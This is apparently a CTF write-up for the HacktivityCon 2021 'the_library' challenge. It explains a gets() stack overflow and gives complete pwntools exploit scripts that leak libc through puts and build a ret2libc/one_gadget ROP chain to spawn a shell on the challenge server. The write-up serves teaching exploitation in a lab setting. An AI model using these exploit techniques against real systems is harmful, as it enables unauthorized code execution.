# the library

## Files

{% embed url="<https://github.com/0xTen/CTFs/tree/main/hacktivitycon/2021/the_library>" %}

## The binary

![](https://630407063-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MZD3WIm997ouoGhrdss%2F-Mk57yKimmE7gfVXyI5i%2F-Mk58UUB77AZ37fEzJKn%2Fimage.png?alt=media\&token=5b528525-8bf4-4753-8f84-700d122560ac)

The program asks you to guess what book it is thinking about.

## Buffer Overflow

![](https://630407063-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MZD3WIm997ouoGhrdss%2F-Mk57yKimmE7gfVXyI5i%2F-Mk59wul-y2v3X_C4IlV%2Fimage.png?alt=media\&token=cc9f3211-64c1-4c2e-bceb-bea81ba68fda)

The input is copied with gets to a 520 bytes long buffer, so we have yet another stack buffer overflow. To get the exact offset I used gdb:

![](https://630407063-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MZD3WIm997ouoGhrdss%2F-Mk5AHB6VAK7G5J5yiUr%2F-Mk5AmE__mdMUu1divvr%2Fimage.png?alt=media\&token=2bacad50-4e22-4909-8ebb-fcf32719cb88)

![](https://630407063-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MZD3WIm997ouoGhrdss%2F-Mk5AHB6VAK7G5J5yiUr%2F-Mk5At8JOjXnO4bq3r9w%2Fimage.png?alt=media\&token=ad3a1b90-c22f-429c-8d2e-9ef916ac4db2)

![](https://630407063-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MZD3WIm997ouoGhrdss%2F-Mk5AHB6VAK7G5J5yiUr%2F-Mk5Az4OiGnW8uWgbVQ9%2Fimage.png?alt=media\&token=bcf7f279-aa45-493e-9924-4ac0cad91d0b)

## Ret2libc

If you are not used to that concept, the post bellow might help:

{% content-ref url="../../pwn/rop/x64-ret2libc" %}
[x64-ret2libc](https://0xten.gitbook.io/public/pwn/rop/x64-ret2libc)
{% endcontent-ref %}

To leak libc base we can use rop gadgets to call puts passing a got address as argument.

```python
#!/usr/bin/env python
from pwn import *

# Definitions
e = context.binary = ELF('./the_library',checksec=False)
libc = ELF('./libc-2.31.so',checksec=False)

io = remote('challenge.ctf.games', 31125)

rop = 552*'A'
rop += p64(0x401493) # pop rdi; ret
rop += p64(e.got['puts'])
rop += p64(0x4010e0) # puts@plt
rop += p64(e.sym['main'])

io.recvrepeat(0.03)
io.sendline(rop)

io.recvuntil('Wrong :(')
io.recvline()
leak = u64(io.recv()[:6].ljust(8,'\x00'))
libc.address = leak - libc.sym['puts']
```

After leaking the libc base, it all comes down to calculate the base offset to other gadgets such as system() or a one gadget. A neat way to fly through rop challenges is to just use pwntools.

```python
libc_rop = ROP(libc)
libc_rop.execve(next(libc.search(b'/bin/sh')), 0, 0)

rop = 552*'A'
rop += libc_rop.chain()
io.sendline(rop)

io.interactive()
```

Although, if you are trying to learn about rop I think you should try to manually craft a rop chain, one way of doing it in the challenge is using a one gadget.

![](https://630407063-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MZD3WIm997ouoGhrdss%2F-Mk5CUlfvRBeGBGxOwOA%2F-Mk5DUMq1e9s_MKwKhwf%2Fimage.png?alt=media\&token=97ce7c74-f06e-4bc3-ba52-f6dab6bb38b2)

A few are available but we would have to set some registers to NULL.

![](https://630407063-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MZD3WIm997ouoGhrdss%2F-Mk5CUlfvRBeGBGxOwOA%2F-Mk5DfqWFOJZ3K2tzqO0%2Fimage.png?alt=media\&token=4bec3f9d-9d7a-4992-ab3d-94ad3d1be9da)

In this case, r15 is already 0 when our payload is executed, so setting either rsi, rdx or r12 to 0 should get our one gadget to work.

![](https://630407063-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MZD3WIm997ouoGhrdss%2F-Mk5DxdkgC-FYQm_EkhX%2F-Mk5EBxNTcKMc41wZaVZ%2Fimage.png?alt=media\&token=9252b3fd-b125-4789-aeca-c6e2cf394475)

This gadget should do it.

```python
rop = 552*'A'
rop += p64(0x40148c) # r12; r13; r14; r15 = 0
rop += p64(0)
rop += p64(0)
rop += p64(0)
rop += p64(0)
rop += p64(libc.address + 0xe6c7e) # one_gadget
```

## Final exploit

```python
#!/usr/bin/env python
from pwn import *

# Definitions
e = context.binary = ELF('./the_library',checksec=False)
libc = ELF('./libc-2.31.so',checksec=False)

if args.REMOTE:
    io = remote('challenge.ctf.games', 31125)
else:
    io = process(e.path)

rop = 552*'A'
rop += p64(0x401493) # pop rdi; ret
rop += p64(e.got['puts'])
rop += p64(0x4010e0) # puts@plt
rop += p64(e.sym['main'])

io.recvrepeat(0.03)
io.sendline(rop)

io.recvuntil('Wrong :(')
io.recvline()
leak = u64(io.recv()[:6].ljust(8,'\x00'))
libc.address = leak - libc.sym['puts']
log.success('Libc: ' + hex(libc.address))

rop = 552*'A'
rop += p64(0x40148c) # r12; r13; r14; r15 = 0
rop += p64(0)
rop += p64(0)
rop += p64(0)
rop += p64(0)
rop += p64(libc.address + 0xe6c7e) # one_gadget

io.sendline(rop)

io.interactive()
```
